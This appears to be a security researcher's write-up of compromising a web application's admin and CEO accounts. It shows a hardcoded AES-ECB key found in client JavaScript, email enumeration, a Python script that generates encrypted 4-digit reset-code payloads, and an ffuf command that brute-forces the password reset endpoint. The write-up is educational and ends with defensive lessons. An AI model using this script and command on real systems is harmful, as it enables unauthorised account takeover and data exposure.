This write-up documents a full attack chain that began with an attempt to understand how an application protected its API traffic and ended with complete compromise of multiple administrative panels, including executive-level access.
Although the idea behind this bug is simple and could be found in many applications, what makes it interesting , and what made writing this write‑up enjoyable. Is the application's client‑side encryption implementation. This gave the company a false sense of security (security through obscurity), while many attackers would not think to dive deeply into this design to uncover a viable exploitation path. All of this made the process a genuinely rewarding journey.
TL;DR
The application relied on client-side AES encryption to protect its API traffic. The encryption key was hardcoded in JavaScript and used with AES-ECB, making it trivial to replicate outside the app.
Once the API traffic could be decrypted and forged, I identified email enumeration, a 4-digit password reset code, and no rate limiting on the password reset endpoint. This allowed automated brute forcing of verification codes and resulted in full account takeover of an admin account.
Because multiple admin portals shared the same backend API and reset logic, the same technique was used to compromise a CEO account, leading to complete access to internal systems, reports, and user data.
Initial Recon: Understanding the Application
I started testing the application at: portal.target.com.
At first glance, all API traffic appeared unreadable. Requests and responses were encrypted, making traditional interception tools less useful. This suggested the application relied on custom client-side encryption.

Since client-side logic must ultimately be trusted by the browser, I shifted focus to the JavaScript bundle.
Analyzing the Client-Side Encryption
While reviewing main.js, I found the code responsible for creating the API client:
g.clinet = s().create({
baseURL: "https://api.target.com",
timeout: 3e4,
transformRequest: function(e) {
console.log(e);
var t = e;
if ("string" !== typeof e && (t = JSON.stringify(e)),
Number("1") <= 0)
return t;
var r = f().AES.encrypt(t, v, {
mode: f().mode.ECB,
padding: f().pad.Pkcs7
}).ciphertext.toString();
return d().stringify(f().enc.Hex.parse(r))
},
transformResponse: function(e) {
if (!e)
return e;
if (Number("1") <= 0)
return JSON.parse(e);
var t = f().AES.decrypt(e, v, {
mode: f().mode.ECB,
padding: f().pad.Pkcs7
}).toString(f().enc.Utf8) || e;
return JSON.parse(t)
},
paramsSerializer: function(e) {
return _().stringify(e, {
arrayFormat: "repeat"
})
}
})A few things immediately stood out:
- AES was used in ECB mode
- The encryption key was defined client-side
- No IV or per-request randomness existed
The key itself was statically defined:
v = CryptoJS.enc.Utf8.parse("iUGRBfrIvhtbm2bBEr")At this point, the "encrypted API" no longer provided any security guarantees. Anyone with access to the JavaScript could encrypt, decrypt, and fully forge requests.
Reproducing the Encryption Outside the App
To make testing easier, I created a simple standalone HTML page that replicated the exact encryption and decryption logic used by the application. This allowed me to:
- Decrypt intercepted API responses
- Craft arbitrary encrypted API requests
- Interact with the backend as a legitimate client

With that obstacle removed, testing continued like a normal API assessment.
Discovering an Admin Panel
Further recon revealed a second subdomain: vendors.target.com.
This appeared to be an administrative/vendor portal. The registration flow required:
- Email address
- Verification code sent to email
- Invitation code
The verification code sent to email was only 4 digits, which already raised concerns. However, without an invitation code, account creation was blocked.

Instead of continuing down the registration path, I examined the password reset functionality.
Email Enumeration via Password Reset
The password reset endpoint behaved differently depending on whether an email existed.
After decrypting responses, the behavior was clear:
- Existing email →
ok - Non-existing email →
Email not exists
This allowed reliable email enumeration, including administrative accounts. One such account was: admin@target.com
Password Reset Logic Weakness
The reason I tested the password reset flow was that the email verification mechanism relied on a 4-digit code, leading me to hypothesize that the password reset process might use a similar implementation.
The password reset endpoint accepted three parameters:
mailnewPasswordverifyCode
The password itself was encrypted client-side, but since the encryption key was known, this was trivial to reproduce.
No Rate Limiting + Weak OTP = Account Takeover
At this stage, the attack surface was clear:
- Verification codes were 4 digits (0000–9999)
- No rate limiting or lockout was enforced
- No CAPTCHA or delay was applied
- Responses clearly indicated success or failure
Manual testing confirmed that dozens of reset attempts could be made without any restriction.
Automating the Attack
I wrote a Python script to:
- Generate verification codes from
0001to9999 - Build the correct JSON body for each attempt
- Encrypt the full request body using the exposed AES key
- Save each encrypted payload to a wordlist
#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
import json
KEY = b"iUGRBfrIvhtbm2bBEr"
OUTPUT_FILE = "encrypted_payloads.txt"
def encrypt_aes_ecb(plaintext):
cipher = AES.new(KEY, AES.MODE_ECB)
padded_data = pad(plaintext.encode('utf-8'), AES.block_size)
encrypted = cipher.encrypt(padded_data)
return base64.b64encode(encrypted).decode('utf-8')
def main():
encrypted_payloads = []
for code_num in range(0, 10000):
verify_code = f"{code_num:04d}"
payload = {
"newPassword": "a6b4f8d955fb43bfde765a45af5c81e03bbd4d1e4d0ed084ded3812eb52f7cf6", # Password : uR5yBpY7niwy8zL
"mail": "admin@target.com",
"verifyCode": verify_code
}
json_payload = json.dumps(payload)
encrypted_payload = encrypt_aes_ecb(json_payload)
encrypted_payloads.append(encrypted_payload)
with open(OUTPUT_FILE, 'w') as f:
for encrypted_payload in encrypted_payloads:
f.write(f"{encrypted_payload}\n")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
exit(1)Using ffuf, I brute-forced the password reset endpoint:
ffuf -w hashes.txt -X PUT \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" \
-H "Content-Type: application/json;charset=UTF-8" \
-u "https://api.target.com/v1/forgotPassword" \
-d "FUZZ" \
-fs 64
By filtering the standard failure response size, successful password resets were immediately visible.
This resulted in a successful password reset for admin@target.com and access to the vendors.test.com panel.
This panel did not contain much data, as the email was only a test account and not used by an admin; however, it still serves as proof of successful access.
Pivoting to the Main Portal
The next target was the original application, which does not provide a sign-up page of any kind: portal.test.com.
The compromised admin account did not have sufficient privileges to log in. However, the API backend was shared between both portals, and the same password reset logic applied.
Through open-source intelligence techniques, I was able to identify a high-privilege account tied to the CEO.

The same brute-force technique worked without modification.
Executive Account Compromise
After resetting the CEO's password, I successfully logged into portal.target.com.
This panel exposed:
- Internal users
- Reports
- Operational and business data
- Administrative functionality across the platform

At this point, the impact escalated from an isolated admin issue to full organizational compromise.
Lessons Learned
Client-side encryption often gives a false sense of security. If a browser can encrypt a request, an attacker can too. Authentication and authorization must rely on server-side controls, proper rate limiting, and strong verification mechanisms.
In this case, once the client-side encryption was understood, every downstream control collapsed.
Thank you for reading, and I hope it taught you something new.
Find me at : https://x.com/pwnx0